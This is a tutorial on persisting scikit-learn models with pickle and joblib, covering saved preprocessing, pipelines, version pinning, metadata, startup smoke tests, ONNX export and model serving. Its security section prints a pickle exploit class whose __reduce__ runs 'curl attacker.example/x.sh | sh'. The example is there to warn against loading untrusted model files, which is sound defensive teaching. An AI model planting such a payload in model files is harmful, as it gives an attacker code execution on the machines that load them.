Saving & Loading Models (joblib, pickle)

A model reaches 91% accuracy after forty minutes of training. It gets saved, wrapped in a small web service, and deployed. The service starts cleanly, returns predictions for every request, and logs no errors at all.

Three weeks later someone notices the predictions are barely better than guessing.

The cause takes an afternoon to find. During training, the features were standardised — income divided by a standard deviation of about 24,000, giving values between −2 and 3. The saved file contained the classifier. It did not contain the scaler. In production, raw income values of 52,000 are being fed to a model whose coefficients were fitted on numbers near zero.

Nothing crashed. The array had the right shape and the right dtype, so the model multiplied the numbers by its coefficients and returned a confident probability. It was simply wrong every time.

This is the defining hazard of model persistence: the failures are silent. A web server that cannot find a file throws an error. A model given wrongly scaled inputs returns a plausible number.

What you are actually saving

Before training, a scikit-learn estimator holds only the settings you passed in. After fit(), it holds the learned parameters — by convention, attributes ending in an underscore.

1from sklearn.linear_model import LogisticRegression23clf = LogisticRegression()4clf.fit(X_train, y_train)56print(clf.coef_)          # learned weights, one per feature7print(clf.intercept_)     # learned bias8print(clf.classes_)       # class labels, in the order predict_proba uses9print(clf.n_features_in_) # how many columns it expects

Those arrays are the entire result of training. Everything else — the class definition, the prediction arithmetic — lives in the installed library.

Which is why a preprocessing object is just as much a trained model as the classifier is:

1from sklearn.preprocessing import StandardScaler23scaler = StandardScaler().fit(X_train)4print(scaler.mean_)    # e.g. [41207.3, 38.4, 2.1]5print(scaler.scale_)   # e.g. [23984.1, 12.7, 1.4]

Those two arrays were computed from your training data and cannot be recovered from anywhere else. Lose them and the classifier is meaningless, because it was fitted on a transformed space you can no longer reproduce.

Every object that learned something from the training data is part of the model. Scalers, encoders, imputers, and feature selectors all qualify. Saving only the estimator saves a fraction of what you trained.

Pickle: Python's general-purpose serialiser

1import pickle23with open("model.pkl", "wb") as f:      # 'wb' = write binary4    pickle.dump(clf, f)56with open("model.pkl", "rb") as f:7    loaded = pickle.load(f)

Pickle walks the object graph and writes a byte stream that reconstructs it. The crucial detail is what it does not write: it stores a reference to the class (sklearn.linear_model.LogisticRegression) rather than the class's code. On load, it imports that class from whatever is installed and repopulates its attributes.

Three consequences follow directly, and all three cause production incidents:

• The library must be installed to load the file.
• A different library version may have a different internal structure, so loading may fail or — worse — succeed with subtly altered behaviour.
• A custom class must be importable from the same module path it had when saved. Move MyTransformer from utils.py to features.py and every existing pickle breaks.

joblib: the same idea, tuned for arrays

1import joblib23joblib.dump(clf, "model.joblib")4loaded = joblib.load("model.joblib")56joblib.dump(clf, "model.joblib.gz", compress=3)   # 0–9; 3 is a good default

Joblib uses pickle underneath and adds two things that matter for models: built-in compression, and the option to memory-map large NumPy arrays when loading (joblib.load(path, mmap_mode="r")), so several processes on one machine can share a single copy. It is not meaningfully faster than plain pickle on a current Python — both write NumPy arrays as raw blocks of bytes. Measured for a 500-tree random forest on one laptop (Python 3.12, scikit-learn 1.9):

Compression trades CPU for disk. It is worth it when the file crosses a network on every container start and not worth it when a service reloads the model frequently from local disk.

Use joblib for scikit-learn objects. The API is nearly identical, compression and memory-mapping come built in, and it is the convention in scikit-learn's own documentation.

The forgotten-preprocessing bug, with numbers

Here is the opening failure made explicit. Training data has mean income 41,207 and standard deviation 23,984.

1# --- training ---2scaler = StandardScaler().fit(X_train)3X_scaled = scaler.transform(X_train)4clf = LogisticRegression().fit(X_scaled, y_train)56joblib.dump(clf, "model.joblib")     # the bug: scaler not saved78# --- serving ---9clf = joblib.load("model.joblib")10clf.predict_proba([[52000, 34, 3]])  # raw values, never scaled

What the model expected for a customer earning £52,000:

What it received: 52,000. If the coefficient on that feature is 0.8, the contribution to the log-odds should be 0.36. Instead it is 41,600. The sigmoid of any such number is 1.0 to more decimal places than float64 can express.

So the service returns a probability of 1.0 for essentially every customer, because every real income is a large positive number. No exception, no warning, no failed health check — just a model that has degenerated into a constant.

Pipelines make the bug impossible

The fix is not vigilance. It is arranging things so there is nothing to forget.

1from sklearn.pipeline import Pipeline2from sklearn.compose import ColumnTransformer3from sklearn.impute import SimpleImputer4from sklearn.preprocessing import StandardScaler, OneHotEncoder5from sklearn.ensemble import RandomForestClassifier67numeric = ["income", "age", "num_products"]8categorical = ["region", "channel"]910pipe = Pipeline([11    ("pre", ColumnTransformer([12        ("num", Pipeline([("impute", SimpleImputer(strategy="median")),13                          ("scale", StandardScaler())]), numeric),14        ("cat", Pipeline([("impute", SimpleImputer(strategy="most_frequent")),15                          ("encode", OneHotEncoder(handle_unknown="ignore"))]),16         categorical),17    ])),18    ("clf", RandomForestClassifier(n_estimators=300, random_state=42)),19])2021pipe.fit(X_train, y_train)22joblib.dump(pipe, "pipeline.joblib")     # one file, everything inside

Now serving takes raw input in exactly the form the training data had:

1import pandas as pd23pipe = joblib.load("pipeline.joblib")4row = pd.DataFrame([{"income": 52000, "age": 34, "num_products": 3,5                     "region": "north", "channel": "web"}])6print(pipe.predict_proba(row)[0, 1])

The imputation, the scaling, and the encoding all happen inside, using the exact statistics learned at training time. There is no second implementation to drift out of sync, and a missing preprocessing step is now a structural impossibility rather than a discipline problem.

handle_unknown="ignore" earns its place here too. A region that never appeared in training would otherwise raise an exception on the first request that contains it, which in a live service means a 500 at an unpredictable moment.

Version brittleness, the quiet production killer

Pickle files record class references, not code. Load a model saved under scikit-learn 1.2 into an environment running 1.5 and one of three things happens:

Three defences, all cheap.

Pin exact versions. Not scikit-learn>=1.2 but scikit-learn==1.9.1, in the same repository as the training code.

Record the environment beside the model.

1import json, sys, sklearn, numpy, joblib2from datetime import datetime, timezone34metadata = {5    "model_name": "churn_classifier",6    "version": "2.3.0",7    "trained_at": datetime.now(timezone.utc).isoformat(),8    "python": sys.version.split()[0],9    "sklearn": sklearn.__version__,10    "numpy": numpy.__version__,11    "feature_names": list(X_train.columns),12    "n_training_rows": int(len(X_train)),13    "target_positive_rate": float(y_train.mean()),14    "metrics": {"roc_auc": 0.887, "recall_at_threshold": 0.71},15    "decision_threshold": 0.34,16    "training_data_snapshot": "s3://data/churn/2026-03-01.parquet",17}1819joblib.dump(pipe, "churn_v2.3.0.joblib")20with open("churn_v2.3.0.meta.json", "w") as f:21    json.dump(metadata, f, indent=2)

The decision_threshold field matters more than it looks. If you tuned a cutoff of 0.34 against real costs, that number is part of the model. Store it with the file or someone will deploy the pipeline behind a hard-coded 0.5 and quietly undo your work.

Run a smoke test on load. Keep a handful of rows with known-correct outputs and verify them at startup.

1import numpy as np23def load_and_verify(model_path, fixture_path):4    model = joblib.load(model_path)5    fixture = pd.read_json(fixture_path)          # inputs + expected outputs6    got = model.predict_proba(fixture[FEATURES])[:, 1]7    if not np.allclose(got, fixture["expected"].values, atol=1e-6):8        raise RuntimeError(9            f"model output changed: expected {fixture['expected'].tolist()}, "10            f"got {got.tolist()}"11        )12    return model

This turns the dangerous third row of that table into the merely annoying second row. A twenty-line check at startup converts silent corruption into a loud failure, which is the single highest-value habit in this entire topic.

Security: loading a pickle runs code

This is not a theoretical concern and it is not a bug in pickle — it is how pickle works. The format includes an instruction that calls a function during reconstruction.

1import pickle, os23class Exploit:4    def __reduce__(self):5        return (os.system, ("curl attacker.example/x.sh | sh",))67payload = pickle.dumps(Exploit())8# pickle.loads(payload) would execute that shell command

No exotic technique is involved. Any object may define __reduce__, and unpickling calls it.

The rule follows directly: never load a pickle or joblib file from a source you do not control. That includes model files downloaded from public hubs, uploaded by users, or pulled from a bucket that anyone can write to. Treat loading one as equivalent to running a script that arrived in the same way.

Where you must accept models from outside your trust boundary, use a format that cannot execute code:

ONNX also solves the version problem, because it stores the computation graph rather than references to library classes. The cost is conversion effort and incomplete coverage of scikit-learn transformers, which is why most teams stay on joblib internally and reach for ONNX only when crossing a language or trust boundary. An all-numeric pipeline converts in one call:

1from skl2onnx import to_onnx2import numpy as np34num_pipe = Pipeline([("scale", StandardScaler()),5                     ("clf", RandomForestClassifier(n_estimators=300, random_state=42))])6num_pipe.fit(X_train[numeric], y_train)78onx = to_onnx(num_pipe, X_train[numeric][:1].to_numpy(dtype=np.float32))9with open("model.onnx", "wb") as f:10    f.write(onx.SerializeToString())

The mixed-type pipeline from earlier does not convert as it stands: text columns need their own declared input types, and the converter for SimpleImputer does not handle missing values in text columns. Expect to adjust a pipeline before it will export.

Loading in a running service

One mistake dominates: loading the model inside the request handler.

1# wrong - deserialises 200 MB on every request2@app.post("/predict")3def predict(payload: dict):4    model = joblib.load("pipeline.joblib")5    return {"p": float(model.predict_proba(to_frame(payload))[0, 1])}67# right - load once at startup, reuse for every request8MODEL = load_and_verify("pipeline.joblib", "fixtures.json")910@app.post("/predict")11def predict(payload: dict):12    return {"p": float(MODEL.predict_proba(to_frame(payload))[0, 1])}

The first version adds a tenth of a second or more, plus considerable memory churn, to every call. The second loads once, fails loudly at startup if anything is wrong, and serves from memory.

Two related practices worth adopting. Version the filename (churn_v2.3.0.joblib) rather than overwriting model.joblib, so rolling back is a configuration change rather than a retraining job. And return the model version in the response body, so that a prediction logged in a database can later be traced to the exact artefact that produced it.

What this means when you build something

Save the pipeline, never the estimator. If your saved file does not contain the scaler, the encoder, and the imputer, you have not saved a model — you have saved half of one, and the half you kept will not complain about the half you lost.

Write a metadata file next to it with library versions, feature names in order, the decision threshold, and the metrics you measured. It costs ten lines and it is what you will read in nine months when someone asks why the numbers moved.

Keep five example rows with their expected outputs, and check them every time the model loads. That single test catches version drift, wrong-file deployments, and feature-order mistakes — the three failures that otherwise show up weeks later as a quiet decline nobody can explain.

And treat every model file as executable code, because that is exactly what it is. Load your own artefacts from storage you control, and never joblib.load something a user uploaded.